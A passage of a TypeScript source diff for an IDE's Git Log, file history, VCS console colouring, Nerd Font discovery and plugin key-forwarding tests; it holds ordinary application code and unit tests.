{ label: "Browse Repository at Revision", run: () => browseRepositoryAt(c) },
|
||||
...(fileHistoryTarget
|
||||
? [{ kind: "action" as const, action: "vcs.log.showFileAtRevision", arg: actionCommit }]
|
||||
: []),
|
||||
];
|
||||
const many = selection.length > 1 && selection.some((x) => commitKey(x) === commitKey(c));
|
||||
const repo = commitRepo(c);
|
||||
const vcs = useVcs.getState();
|
||||
const head = (repo ? vcs.heads[repo]?.head : vcs.branch?.head) ?? null;
|
||||
const { outgoing } = useGitLog.getState();
|
||||
if (many) {
|
||||
const compareArg: Commit[] | FileHistoryCommitsArg = fileHistoryTarget
|
||||
? { kind: "file-history-commits", commits: selection, target: fileHistoryTarget }
|
||||
: selection;
|
||||
return [
|
||||
{ kind: "action", action: "vcs.log.copyRevision", arg: selection, label: "Copy Revision Numbers" },
|
||||
{ kind: "action", action: "vcs.log.createPatch", arg: selection },
|
||||
{ kind: "action", action: "vcs.log.cherryPick", arg: selection },
|
||||
...(selection.length === 2
|
||||
? [{ kind: "action", action: "vcs.log.compareVersions", arg: compareArg } satisfies MenuItem]
|
||||
: []),
|
||||
{ kind: "separator" },
|
||||
{ kind: "action", action: "vcs.log.revert", arg: selection, label: "Revert Commits" },
|
||||
{ kind: "separator" },
|
||||
{ kind: "action", action: "vcs.log.squashCommits", arg: selection },
|
||||
{ kind: "action", action: "vcs.log.dropCommit", arg: selection, label: "Drop Commits" },
|
||||
];
|
||||
}
|
||||
// Without an upstream there is no outgoing set: allow pushing up to any commit of HEAD.
|
||||
const canPushHere =
|
||||
!!head &&
|
||||
((commitRepo(c) === undefined ? !!outgoing : useGitLog.getState().tracked.has(commitRepo(c) ?? ""))
|
||||
? !!outgoing?.has(commitKey(c))
|
||||
: true);
|
||||
const branches = ((c as RepoCommit).refBranches ?? []).filter((branch) => !branch.current);
|
||||
const branchActions: MenuItem[] = branches.map((branch) => {
|
||||
const menu = branchMenu(branch, head);
|
||||
return {
|
||||
label: tx`Branch '${branch.name}'`,
|
||||
submenu: repo ? inRepo(repo, menu) : menu,
|
||||
};
|
||||
});
|
||||
if (!branchActions.length)
|
||||
branchActions.push({
|
||||
kind: "action",
|
||||
action: "vcs.log.rebaseOntoCommit",
|
||||
arg: c,
|
||||
label: tx`Rebase '${head ?? "HEAD"}' onto Selected Commit`,
|
||||
disabled: !head,
|
||||
});
|
||||
return [
|
||||
{ kind: "action", action: "vcs.log.copyRevision", arg: c },
|
||||
{
|
||||
label: useGitLog.getState().bookmarks[commitKey(c)] ? "Remove Commit Bookmark" : "Bookmark Commit",
|
||||
run: () => toggleCommitBookmark(c),
|
||||
},
|
||||
{ label: "Copy Commit Message", run: () => copyCommitMessage(c) },
|
||||
{ kind: "action", action: "vcs.log.createPatch", arg: c },
|
||||
{ kind: "action", action: "vcs.log.cherryPick", arg: c },
|
||||
{ kind: "separator" },
|
||||
{ kind: "action", action: "vcs.log.checkoutRevision", arg: c },
|
||||
{ label: "Browse Repository at Revision", run: () => browseRepositoryAt(c) },
|
||||
...(fileHistoryTarget
|
||||
? [{ kind: "action" as const, action: "vcs.log.showFileAtRevision", arg: actionCommit }]
|
||||
: []),
|
||||
{ kind: "action", action: "vcs.log.compareWithLocal", arg: actionCommit },
|
||||
{ kind: "separator" },
|
||||
{ kind: "action", action: "vcs.log.resetToHere", arg: c },
|
||||
{ kind: "action", action: "vcs.log.revert", arg: c },
|
||||
{ kind: "action", action: "vcs.log.undoCommit", arg: c },
|
||||
{ kind: "separator" },
|
||||
{ kind: "action", action: "vcs.log.editMessage", arg: c },
|
||||
{ kind: "action", action: "vcs.log.fixup", arg: c },
|
||||
{ kind: "action", action: "vcs.log.squashInto", arg: c },
|
||||
{ kind: "action", action: "vcs.log.dropCommit", arg: c },
|
||||
{ kind: "action", action: "vcs.log.interactiveRebase", arg: c },
|
||||
{ kind: "action", action: "vcs.log.pushUpToHere", arg: c, disabled: !canPushHere },
|
||||
{ kind: "separator" },
|
||||
...(branchActions.length > 2 ? [{ label: "Branches", submenu: branchActions }] : branchActions),
|
||||
{ kind: "action", action: "vcs.log.newBranch", arg: c },
|
||||
{ kind: "action", action: "vcs.log.newTag", arg: c },
|
||||
{ kind: "separator" },
|
||||
{
|
||||
label: "Assign Mnemonic",
|
||||
run: () => useBookmarkPopups.setState({ chooser: { path: commitBookmarkPath(c), line: 0, text: c.summary } }),
|
||||
},
|
||||
{ kind: "action", action: "vcs.log.goToChild", arg: c },
|
||||
{ kind: "action", action: "vcs.log.goToParent", arg: c, disabled: !c.parents.length },
|
||||
{ kind: "separator" },
|
||||
{ kind: "action", action: "vcs.log.openInBrowser", arg: c },
|
||||
];
|
||||
}
|
||||
|
||||
async function copyCommitMessage(c: Commit) {
|
||||
const message = c.messageTruncated ? (await loadLogDetails(c)).message : c.message;
|
||||
await copyText(message);
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
import { Menu, type MenuItem } from "@/ui";
|
||||
import { useContext, useMemo, useState, type MouseEvent as ReactMouseEvent } from "react";
|
||||
import { LogIdContext } from "../logContext";
|
||||
import { useGitLog } from "../logStore";
|
||||
import { useVcs } from "../store";
|
||||
|
||||
export function useLogRepositories() {
|
||||
const scope = useContext(LogIdContext);
|
||||
const tab = useGitLog((s) => s.logTabs.find((t) => t.id === (scope ?? s.shownLog)));
|
||||
const roots = useVcs((s) => s.roots);
|
||||
const repo = tab?.repo;
|
||||
const repositories = tab?.repositories;
|
||||
const key = (repositories?.length ? repositories : repo ? [repo] : roots).join("\0");
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
return useMemo(() => (repositories?.length ? repositories : repo ? [repo] : roots), [key]);
|
||||
}
|
||||
|
||||
export function useReadOnlyLog() {
|
||||
const scope = useContext(LogIdContext);
|
||||
return useGitLog((s) => s.logTabs.find((t) => t.id === (scope ?? s.shownLog))?.readOnly === true);
|
||||
}
|
||||
|
||||
/**
|
||||
* A toolbar button's dropdown, anchored to the button: a second click on it closes the menu
|
||||
* instead of reopening it, as in IDEA. Returns the opener and the element to render.
|
||||
*/
|
||||
export function useDropdownMenu() {
|
||||
const [menu, setMenu] = useState<{ anchor: HTMLElement; items: MenuItem[] } | null>(null);
|
||||
const open = (anchor: HTMLElement | ReactMouseEvent<HTMLElement>, items: MenuItem[]) => {
|
||||
const el = "currentTarget" in anchor ? anchor.currentTarget : anchor;
|
||||
setMenu((m) => (m?.anchor === el ? null : { anchor: el, items }));
|
||||
};
|
||||
const dropdown = menu && <Menu open anchor={menu.anchor} items={menu.items} onClose={() => setMenu(null)} />;
|
||||
return [open, dropdown] as const;
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
import type { Commit } from "@/bindings";
|
||||
import { type MenuItem } from "@/ui";
|
||||
import { type ReactNode } from "react";
|
||||
import { type LogOptions } from "../logOptions";
|
||||
import { updateLogOptions } from "../logStore";
|
||||
|
||||
export const ROW = 26;
|
||||
|
||||
export const LANE = 14;
|
||||
|
||||
export interface LogColumn {
|
||||
id: string;
|
||||
title: string;
|
||||
width: number;
|
||||
render(commit: Commit): ReactNode;
|
||||
}
|
||||
|
||||
// The flexible "Commit" column shares the same order and can be dragged like the rest.
|
||||
export const SUBJECT_COLUMN: LogColumn = { id: "subject", title: "Commit", width: 0, render: () => "" };
|
||||
|
||||
// Until the user drags the commit column somewhere, it leads the row.
|
||||
export const columnSequence = (columnOrder: string[], builtins: LogColumn[]): string[] => {
|
||||
const ids = [...new Set([...columnOrder, ...builtins.map((c) => c.id)])];
|
||||
return columnOrder.includes(SUBJECT_COLUMN.id) ? ids : [SUBJECT_COLUMN.id, ...ids];
|
||||
};
|
||||
|
||||
export type RowEvents = {
|
||||
onHover: (edge: string | null) => void;
|
||||
onFragment: (from: string, target: string, expand: boolean) => void;
|
||||
onNavigate: (index: number, key?: string) => void;
|
||||
};
|
||||
|
||||
export const toggle = (label: string, o: LogOptions, key: keyof LogOptions): MenuItem => ({
|
||||
label,
|
||||
checked: !!o[key],
|
||||
run: () => updateLogOptions({ [key]: !o[key] }),
|
||||
});
|
||||
@@ -223,7 +223,11 @@ export function changesArg(arg: unknown): LogChange[] {
|
||||
* editor's preview tab, so looking through a commit's files reuses one tab.
|
||||
* `preview`: without taking focus (selection in the pane).
|
||||
*/
|
||||
export async function showChangesDiff(changes: readonly LogChange[], preview = false) {
|
||||
export async function showChangesDiff(
|
||||
changes: readonly LogChange[],
|
||||
preview = false,
|
||||
chainChanges: readonly LogChange[] = useLogChanges.getState().all,
|
||||
) {
|
||||
const first = changes[0];
|
||||
if (!first) return;
|
||||
if (first.mergeParents?.length === 2 && first.after) {
|
||||
@@ -241,8 +245,7 @@ export async function showChangesDiff(changes: readonly LogChange[], preview = f
|
||||
else await editorService().openInput(input, { preview: true, focus: !preview });
|
||||
return;
|
||||
}
|
||||
const all = useLogChanges.getState().all;
|
||||
const chain = all.includes(first) ? all : [...changes];
|
||||
const chain = chainChanges.includes(first) ? chainChanges : [...changes];
|
||||
const data = withChain(
|
||||
chain.map((c) => c.diff),
|
||||
Math.max(0, chain.indexOf(first)),
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
import { focusRepo } from "./store";
|
||||
/**
|
||||
* Actions of the Git Log's inner panes: the Branches pane toolbar, Graph Options'
|
||||
* linear-branch actions and the changed-files pane (toolbar and context menu).
|
||||
*/
|
||||
import { create } from "zustand";
|
||||
import type { Branch } from "@/bindings";
|
||||
import { registerActions, type Action } from "@/platform/actions";
|
||||
import { executeAction, registerActions, type Action } from "@/platform/actions";
|
||||
import { relativePath } from "@/platform/project";
|
||||
import { notifications, toolWindowService } from "@/workbench/contributions";
|
||||
import { deleteBranches, newBranch, toggleFavoriteBranch, updateBranch } from "./branchOps";
|
||||
import {
|
||||
@@ -18,11 +18,45 @@ import {
|
||||
useLogChanges,
|
||||
} from "./logChanges";
|
||||
import { logOptions } from "./logOptions";
|
||||
import { goToRef, updateLogOptions } from "./logStore";
|
||||
import { goToRef, selectedCommits, updateLogOptions, useGitLog } from "./logStore";
|
||||
import { commitKey, commitRepo } from "./multiRoot";
|
||||
import { currentRepoRoot, focusRepo } from "./store";
|
||||
|
||||
const VCS = "vcsAvailable";
|
||||
const LOG = "vcsAvailable || projectOpen || vcsLogFocus";
|
||||
|
||||
function showFocusedHistoryDiff() {
|
||||
const selected = selectedCommits();
|
||||
if (selected.length === 2) {
|
||||
void executeAction("vcs.log.compareVersions");
|
||||
return;
|
||||
}
|
||||
if (selected.length !== 1) return;
|
||||
|
||||
const state = useGitLog.getState();
|
||||
const tab = state.logTabs.find((item) => item.id === state.shownLog);
|
||||
if (tab?.kind !== "history") return;
|
||||
|
||||
const commit = selected[0]!;
|
||||
const changes = useLogChanges.getState();
|
||||
// The details pane loads asynchronously after a row selection. Never diff a stale pane.
|
||||
if (changes.commits.length !== 1 || commitKey(changes.commits[0]!) !== commitKey(commit)) {
|
||||
notifications().notify({ group: "vcs", level: "info", title: "Revision changes are still loading" });
|
||||
return;
|
||||
}
|
||||
|
||||
const root = commitRepo(commit) ?? currentRepoRoot();
|
||||
const targetPath = root ? relativePath(root, tab.target) : tab.target;
|
||||
const historyPath = "historyPath" in commit && typeof commit.historyPath === "string" ? commit.historyPath : null;
|
||||
const relevant = changes.all.filter(
|
||||
(change) =>
|
||||
change.path === targetPath ||
|
||||
change.oldPath === targetPath ||
|
||||
(historyPath !== null && (change.path === historyPath || change.oldPath === historyPath)),
|
||||
);
|
||||
if (relevant.length) void showChangesDiff(relevant, false, relevant);
|
||||
}
|
||||
|
||||
/** A ref selected in the Branches pane. */
|
||||
export interface BranchTarget {
|
||||
ref: string;
|
||||
@@ -152,8 +186,14 @@ export function registerLogPaneActions(): () => void {
|
||||
icon: "diff",
|
||||
when: LOG,
|
||||
hidden: true,
|
||||
keyWhen: "vcsLogChangesFocus",
|
||||
run: ({ arg }) => void showChangesDiff(changesArg(arg)),
|
||||
keyWhen: "vcsLogChangesFocus || vcsLogRevisionFocus",
|
||||
run: ({ arg, ctx }) => {
|
||||
if (ctx.vcsLogRevisionFocus) {
|
||||
showFocusedHistoryDiff();
|
||||
return;
|
||||
}
|
||||
void showChangesDiff(changesArg(arg));
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "vcs.log.changes.compareWithLocal",
|
||||
|
||||
@@ -28,6 +28,8 @@ import { tx } from "@/platform/i18n";
|
||||
import { displayPath } from "./compareData";
|
||||
import { repositoryPath } from "./repositoryPaths";
|
||||
import { RepoPicker } from "./gitMenuDialogs";
|
||||
import { openRevisionFile } from "./revisionInput";
|
||||
import { ipcPath } from "@/platform/paths";
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Operation in progress
|
||||
@@ -518,17 +520,49 @@ function TagDialog({ onClose }: { onClose: () => void }) {
|
||||
}
|
||||
|
||||
/** Compare with Local: files that differ between the commit and the working tree. */
|
||||
export function showCompareWithLocal(commit: Commit) {
|
||||
export function showCompareWithLocal(commit: Commit, historyTarget?: string | null) {
|
||||
if (historyTarget) {
|
||||
const repo = commitRepo(commit) ?? repoOf(historyTarget) ?? currentRepoRoot();
|
||||
const historicalPath = commit.historyPath && repo ? repositoryPath(repo, commit.historyPath) : historyTarget;
|
||||
void openVcsDiff({
|
||||
path: historyTarget,
|
||||
left: { type: "rev", rev: commit.id, path: historicalPath, label: short(commit.id) },
|
||||
right: { type: "worktree" },
|
||||
});
|
||||
return;
|
||||
}
|
||||
showDiffWithWorkingTree(commit.id, short(commit.id));
|
||||
}
|
||||
|
||||
/** Opens the selected File History entry's file exactly as it exists in that commit. */
|
||||
export function showFileAtRevision(commit: Commit, target: string, external = false) {
|
||||
const repo = commitRepo(commit) ?? repoOf(target) ?? currentRepoRoot();
|
||||
if (!repo) return;
|
||||
const root = ipcPath(repo).replace(/\/$/, "");
|
||||
const file = ipcPath(target);
|
||||
const relative = file.startsWith(`${root}/`) ? file.slice(root.length + 1) : file;
|
||||
const path = commit.historyPath ?? relative;
|
||||
openRevisionFile(repo, commit.id, path, external);
|
||||
}
|
||||
|
||||
/** Files that differ between `rev` (a commit or branch) and the working tree, in the Compare tool window. */
|
||||
export function showDiffWithWorkingTree(rev: string, label = rev) {
|
||||
showWorktreeComparison(rev, label);
|
||||
}
|
||||
|
||||
/** IDEA's Compare Versions of two Git Log commits: files that differ between them, older first. */
|
||||
export function showCompareVersions(older: Commit, newer: Commit) {
|
||||
export function showCompareVersions(older: Commit, newer: Commit, historyTarget?: string | null) {
|
||||
if (historyTarget) {
|
||||
const repo = commitRepo(older) ?? commitRepo(newer) ?? repoOf(historyTarget) ?? currentRepoRoot();
|
||||
const olderPath = older.historyPath && repo ? repositoryPath(repo, older.historyPath) : historyTarget;
|
||||
const newerPath = newer.historyPath && repo ? repositoryPath(repo, newer.historyPath) : historyTarget;
|
||||
void openVcsDiff({
|
||||
path: historyTarget,
|
||||
left: { type: "rev", rev: older.id, path: olderPath, label: short(older.id) },
|
||||
right: { type: "rev", rev: newer.id, path: newerPath, label: short(newer.id) },
|
||||
});
|
||||
return;
|
||||
}
|
||||
showComparison({ rev: older.id, label: short(older.id) }, { rev: newer.id, label: short(newer.id) });
|
||||
}
|
||||
|
||||
|
||||
@@ -7,6 +7,7 @@ import { create } from "zustand";
|
||||
import type { GitOperation, RemoteOp } from "@/bindings";
|
||||
import { executeAction } from "@/platform/actions";
|
||||
import { tx } from "@/platform/i18n";
|
||||
import { AnsiStream, stripAnsi, type Span } from "@/ui/ansi";
|
||||
import { call, commands, isCancelled, nextRequestId } from "@/platform/ipc";
|
||||
import { attachDocument, editorsFor } from "@/editor/api";
|
||||
import {
|
||||
@@ -28,7 +29,10 @@ export interface ConsoleLine {
|
||||
id: number;
|
||||
time: number;
|
||||
kind: ConsoleKind;
|
||||
/** The line without escape sequences (copying, searching). */
|
||||
text: string;
|
||||
/** Its coloured runs, when the output had SGR colours (hook output). */
|
||||
spans?: Span[];
|
||||
}
|
||||
|
||||
interface ConsoleState {
|
||||
@@ -41,11 +45,17 @@ export const useVcsConsole = create<ConsoleState>(() => ({ lines: [] }));
|
||||
|
||||
export function logConsole(kind: ConsoleKind, text: string) {
|
||||
const time = Date.now();
|
||||
// One stream per output, so a colour set on one line carries to the next.
|
||||
const ansi = new AnsiStream();
|
||||
const add = text
|
||||
.replace(/\r\n?/g, "\n")
|
||||
.split("\n")
|
||||
.filter((l, i, all) => l.length > 0 || (i > 0 && i < all.length - 1))
|
||||
.map((l) => ({ id: ++lineSeq, time, kind, text: l }));
|
||||
.map((l): ConsoleLine => {
|
||||
if (!l.includes("\x1b")) return { id: ++lineSeq, time, kind, text: l };
|
||||
const spans = ansi.parse(l);
|
||||
return { id: ++lineSeq, time, kind, text: spans.map((s) => s.text).join(""), spans };
|
||||
});
|
||||
if (!add.length) return;
|
||||
useVcsConsole.setState((s) => {
|
||||
const lines = s.lines.concat(add);
|
||||
@@ -63,7 +73,13 @@ export function errorMessage(e: unknown): string {
|
||||
|
||||
/** Feedback for an explicit Git command stays visible when background VCS notifications are muted. */
|
||||
function notify(n: Omit<Parameters<NotificationService["notify"]>[0], "group" | "userInitiated">) {
|
||||
notifications().notify({ ...n, group: "vcs", userInitiated: true });
|
||||
// Hook output (linters, test runners) is often coloured; a balloon shows it as plain text.
|
||||
notifications().notify({
|
||||
...n,
|
||||
body: typeof n.body === "string" ? stripAnsi(n.body) : n.body,
|
||||
group: "vcs",
|
||||
userInitiated: true,
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
@@ -344,7 +344,9 @@ function MultiPushDialog({ only, onClose }: MultiPushDialogProps) {
|
||||
tags,
|
||||
noVerify: hasHook && !runHooks,
|
||||
});
|
||||
const picked = (repos ?? []).filter((r) => checked.has(r.root));
|
||||
// Push… from one repository always pushes it, like the single-repository dialog: an up-to-date
|
||||
// branch may still go to another target or carry tags.
|
||||
const picked = only === undefined ? (repos ?? []).filter((r) => checked.has(r.root)) : (repos ?? []);
|
||||
// Like the single-repository dialog: tags go only with plain pushes, so a retargeted repository hides them.
|
||||
const retargeted = picked.some((r) => pushOperation(choiceOf(r, null)).op === "pushBranch");
|
||||
const push = async () => {
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
import { useVcs } from "./store";
|
||||
import { editorService } from "@/workbench/contributions";
|
||||
|
||||
export interface RevisionData {
|
||||
repo: string;
|
||||
revision: string;
|
||||
path: string;
|
||||
external?: boolean;
|
||||
}
|
||||
|
||||
/** Opens one file at a Git revision in the read-only revision editor. */
|
||||
export function openRevisionFile(repo: string, revision: string, path: string, external = false) {
|
||||
if (useVcs.getState().root) {
|
||||
const bytes = new TextEncoder().encode(JSON.stringify({ repo, revision, path }));
|
||||
const encoded = Array.from(bytes, (b) => b.toString(16).padStart(2, "0")).join("");
|
||||
void editorService().openFile(`git-revision:${encoded}/${encodeURIComponent(path.split("/").at(-1)!)}`, {
|
||||
focus: true,
|
||||
});
|
||||
} else
|
||||
void editorService().openInput({
|
||||
kind: "git-revision",
|
||||
key: `git-revision:${repo}\0${revision}\0${path}`,
|
||||
data: { repo, revision, path, external } satisfies RevisionData,
|
||||
});
|
||||
}
|
||||
@@ -87,6 +87,72 @@ describe("resolveMonoFont", () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe("discovered Nerd Font fallbacks (#3723)", () => {
|
||||
afterEach(() => {
|
||||
vi.resetModules();
|
||||
});
|
||||
|
||||
it("ranks full faces before their Mono variants, Propo last, without non-Nerd names", async () => {
|
||||
const fonts = await import("./fonts");
|
||||
expect(
|
||||
fonts.nerdFontFamilies([
|
||||
"Inter",
|
||||
"Maple Mono NF CN",
|
||||
"JetBrainsMono Nerd Font Mono",
|
||||
"CaskaydiaCove Nerd Font Propo",
|
||||
"JetBrainsMono Nerd Font",
|
||||
"Cascadia Code NF",
|
||||
"Symbols Nerd Font Mono",
|
||||
]),
|
||||
).toEqual([
|
||||
"Maple Mono NF CN",
|
||||
"JetBrainsMono Nerd Font",
|
||||
"Cascadia Code NF",
|
||||
"JetBrainsMono Nerd Font Mono",
|
||||
"Symbols Nerd Font Mono",
|
||||
"CaskaydiaCove Nerd Font Propo",
|
||||
]);
|
||||
expect(fonts.nerdFontFamilies(["Inter", "Menlo", "NFsans"])).toEqual([]);
|
||||
expect(fonts.nerdFontFamilies(["Inter", "NF Sans Display"])).toEqual(["NF Sans Display"]);
|
||||
});
|
||||
|
||||
it("feeds nerdFontFaces beyond the known list, deduped against it", async () => {
|
||||
const fonts = await import("./fonts");
|
||||
fonts.discoverNerdFonts(["Inter", "CaskaydiaCove Nerd Font", "Maple Mono NF CN", "JetBrainsMono Nerd Font Mono"]);
|
||||
const faces = fonts.nerdFontFaces();
|
||||
expect(faces.filter((face) => face.includes("CaskaydiaCove"))).toHaveLength(1);
|
||||
// Discovered faces join after every known one.
|
||||
expect(faces.indexOf('"Maple Mono NF CN"')).toBeGreaterThan(faces.indexOf('"CaskaydiaCove Nerd Font"'));
|
||||
expect(faces).toHaveLength(11);
|
||||
});
|
||||
|
||||
it("lets terminalFont pick up discovered families once they land", async () => {
|
||||
const { terminalFont } = await import("../features/terminal/theme");
|
||||
const t = {
|
||||
useEditorFont: true,
|
||||
fontFamily: "JetBrains Mono",
|
||||
fontSize: 10,
|
||||
lineHeight: 1,
|
||||
fallbackFontFamily: "",
|
||||
columnWidth: 1,
|
||||
};
|
||||
const BASE = '"JetBrains Mono Variable", monospace';
|
||||
expect(terminalFont(t, { fontFamily: "JetBrains Mono", fontSize: 10 }, BASE).family).not.toContain("Maple");
|
||||
const fonts = await import("./fonts");
|
||||
fonts.discoverNerdFonts(["Maple Mono NF CN"]);
|
||||
const { family } = terminalFont(t, { fontFamily: "JetBrains Mono", fontSize: 10 }, BASE);
|
||||
expect(family.indexOf('"Maple Mono NF CN"')).toBeGreaterThan(family.indexOf('"Symbols Nerd Font"'));
|
||||
expect(family.endsWith(", monospace")).toBe(true);
|
||||
});
|
||||
|
||||
it("uiIconFaces falls back to a discovered family, proportional faces first", async () => {
|
||||
const fonts = await import("./fonts");
|
||||
expect(fonts.uiIconFaces(["Inter", "Maple Mono NF CN", "Maple Mono NF Propo"])).toEqual(['"Maple Mono NF Propo"']);
|
||||
expect(fonts.uiIconFaces(["Inter", "Maple Mono NF CN"])).toEqual(['"Maple Mono NF CN"']);
|
||||
expect(fonts.uiIconFaces(["Inter", "Menlo"])).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("macOS user font resolver", () => {
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
|
||||
@@ -132,21 +132,53 @@ const UI_NERD_FONTS = [
|
||||
...NERD_FONTS,
|
||||
];
|
||||
|
||||
/** Nerd Font naming: the patched families ("… Nerd Font") and their v3 short forms ("… NF"). */
|
||||
const NERD_FONT_NAME = /nerd\s*font|\bnf\b/i;
|
||||
const NERD_FONT_MONO = /(?:nerd\s*font|\bnf\b)\s+mono$/i;
|
||||
const NERD_FONT_PROPO = /(?:nerd\s*font|\bnf\b)\s+propo$/i;
|
||||
|
||||
/**
|
||||
* Nerd Font families among `installed`, full faces first (their icons keep the wide
|
||||
* prompt glyph), then the Mono variants that shrink icons to one cell, Propo last.
|
||||
*/
|
||||
export function nerdFontFamilies(installed: readonly string[]): string[] {
|
||||
const rank = (name: string) => (NERD_FONT_MONO.test(name) ? 1 : NERD_FONT_PROPO.test(name) ? 2 : 0);
|
||||
return installed.filter((name) => NERD_FONT_NAME.test(name)).sort((a, b) => rank(a) - rank(b));
|
||||
}
|
||||
|
||||
/** Discovered installs beyond the known list (`discoverNerdFonts`), in the same order. */
|
||||
let discoveredNerdFonts: readonly string[] = [];
|
||||
|
||||
/**
|
||||
* Feeds the terminal fallback from the native font catalog, loaded off startup: a Nerd
|
||||
* Font outside the known list (Maple Mono NF CN, Cascadia Code NF…) otherwise never
|
||||
* reaches the font stack, and unlike Windows Terminal the webview does no per-glyph
|
||||
* system fallback, so prompt icons (#3723) render as boxes.
|
||||
*/
|
||||
export function discoverNerdFonts(installed: readonly string[]): void {
|
||||
const known = new Set(NERD_FONTS.map((name) => name.toLowerCase()));
|
||||
discoveredNerdFonts = nerdFontFamilies(installed).filter((name) => !known.has(name.toLowerCase()));
|
||||
}
|
||||
|
||||
/** Installed Nerd Fonts, resolved like any family, for prompt-theme icons (powerlevel10k, starship). */
|
||||
export function nerdFontFaces(): string[] {
|
||||
return NERD_FONTS.flatMap(familyFaces);
|
||||
return [...NERD_FONTS, ...discoveredNerdFonts].flatMap(familyFaces);
|
||||
}
|
||||
|
||||
/**
|
||||
* The icon font for UI text (Nerd Font icons in agent task titles): the first installed
|
||||
* Nerd Font, proportional faces first. Any one has the whole icon set, so the others aren't
|
||||
* probed or loaded. Without the installed families (browser), every candidate by name.
|
||||
* A family outside the known list fills in from the same discovery, Propo first.
|
||||
*/
|
||||
export function uiIconFaces(installed?: readonly string[]): string[] {
|
||||
if (!installed) return UI_NERD_FONTS.flatMap(familyFaces);
|
||||
const names = new Set(installed.map((name) => name.toLowerCase()));
|
||||
const family = UI_NERD_FONTS.find((name) => names.has(name.toLowerCase()));
|
||||
return family ? [...familyFaces(family)] : [];
|
||||
if (family) return [...familyFaces(family)];
|
||||
const found = nerdFontFamilies(installed);
|
||||
const pick = found.find((name) => NERD_FONT_PROPO.test(name)) ?? found[0];
|
||||
return pick ? [...familyFaces(pick)] : [];
|
||||
}
|
||||
|
||||
/** The `--font-mono` stack, resolved (canvas / xterm can't use `var()`). */
|
||||
|
||||
@@ -1,6 +1,9 @@
|
||||
import { readdirSync, readFileSync } from "node:fs";
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
import {
|
||||
dispatchForwardedKey,
|
||||
effectiveBindings,
|
||||
FORWARDABLE_ACTIONS,
|
||||
formatBinding,
|
||||
installKeyboardDispatcher,
|
||||
isAltGrTyping,
|
||||
@@ -88,6 +91,117 @@ describe("keymap", () => {
|
||||
expect(chord).toHaveBeenCalledOnce();
|
||||
});
|
||||
|
||||
it("runs only safe actions from keys a plugin frame without ide.commands passes on", async () => {
|
||||
const run = vi.fn();
|
||||
const save = vi.fn();
|
||||
const findAction = vi.fn();
|
||||
registerAction({ id: "run.runSelected", title: "run", run });
|
||||
registerAction({ id: "file.save", title: "save", run: save });
|
||||
registerAction({ id: "navigate.findAction", title: "find action", run: findAction });
|
||||
useKeymap.setState({
|
||||
overrides: {
|
||||
"run.runSelected": ["Shift+F10"],
|
||||
"file.save": ["Meta+S"],
|
||||
"navigate.findAction": ["Meta+Shift+A"],
|
||||
},
|
||||
});
|
||||
uninstall = installKeyboardDispatcher(window);
|
||||
const frame = document.body.appendChild(document.createElement("iframe"));
|
||||
dispatchForwardedKey(frame, { key: "F10", code: "F10", shiftKey: true });
|
||||
dispatchForwardedKey(frame, { key: "s", code: "KeyS", metaKey: true });
|
||||
dispatchForwardedKey(frame, { key: "A", code: "KeyA", metaKey: true, shiftKey: true });
|
||||
await Promise.resolve();
|
||||
expect(run).not.toHaveBeenCalled();
|
||||
expect(save).toHaveBeenCalledOnce();
|
||||
expect(findAction).toHaveBeenCalledOnce();
|
||||
// The same key pressed by the user still runs it.
|
||||
frame.dispatchEvent(new KeyboardEvent("keydown", { key: "F10", code: "F10", shiftKey: true, bubbles: true }));
|
||||
await Promise.resolve();
|
||||
expect(run).toHaveBeenCalledOnce();
|
||||
frame.remove();
|
||||
});
|
||||
|
||||
it("runs any bound action from keys a plugin frame passes on when the plugin may run IDE actions", async () => {
|
||||
const run = vi.fn();
|
||||
registerAction({ id: "run.runSelected", title: "run", run });
|
||||
useKeymap.setState({ overrides: { "run.runSelected": ["Shift+F10"] } });
|
||||
uninstall = installKeyboardDispatcher(window);
|
||||
const frame = document.body.appendChild(document.createElement("iframe"));
|
||||
dispatchForwardedKey(frame, { key: "F10", code: "F10", shiftKey: true }, true);
|
||||
await Promise.resolve();
|
||||
expect(run).toHaveBeenCalledOnce();
|
||||
frame.remove();
|
||||
});
|
||||
|
||||
it.each([
|
||||
"view.toggleTheme",
|
||||
"view.quickSwitchScheme",
|
||||
"view.toggleStatusBarWidget",
|
||||
"view.zoomIn",
|
||||
"window.new",
|
||||
"window.mergeAllWindows",
|
||||
"window.closeOtherTabs",
|
||||
"window.toggleFullScreen",
|
||||
"navigate.toggleBookmark",
|
||||
"navigate.toggleBookmark3",
|
||||
"navigate.toggleBookmarkWithMnemonic",
|
||||
"toolwindow.terminal",
|
||||
"toolwindow.closeContent",
|
||||
])("does not run %s from a key a plugin frame without ide.commands passes on", async (id) => {
|
||||
expect(FORWARDABLE_ACTIONS.has(id)).toBe(false);
|
||||
const run = vi.fn();
|
||||
const dispose = registerAction({ id, title: id, run });
|
||||
useKeymap.setState({ overrides: { [id]: ["Meta+Alt+Shift+F12"] } });
|
||||
uninstall = installKeyboardDispatcher(window);
|
||||
const frame = document.body.appendChild(document.createElement("iframe"));
|
||||
try {
|
||||
dispatchForwardedKey(frame, { key: "F12", code: "F12", metaKey: true, altKey: true, shiftKey: true });
|
||||
await Promise.resolve();
|
||||
expect(run).not.toHaveBeenCalled();
|
||||
} finally {
|
||||
frame.remove();
|
||||
dispose();
|
||||
}
|
||||
});
|
||||
|
||||
it("lets passed-on keys run only actions the app registers, by exact id", () => {
|
||||
const root = import.meta.dirname.replace(/[\\/]platform$/, "");
|
||||
const sources: string[] = [];
|
||||
const walk = (dir: string) => {
|
||||
for (const entry of readdirSync(dir, { withFileTypes: true })) {
|
||||
const path = `${dir}/${entry.name}`;
|
||||
if (entry.isDirectory()) {
|
||||
if (entry.name !== "__tests__" && path !== `${root}/platform/keymaps`) walk(path);
|
||||
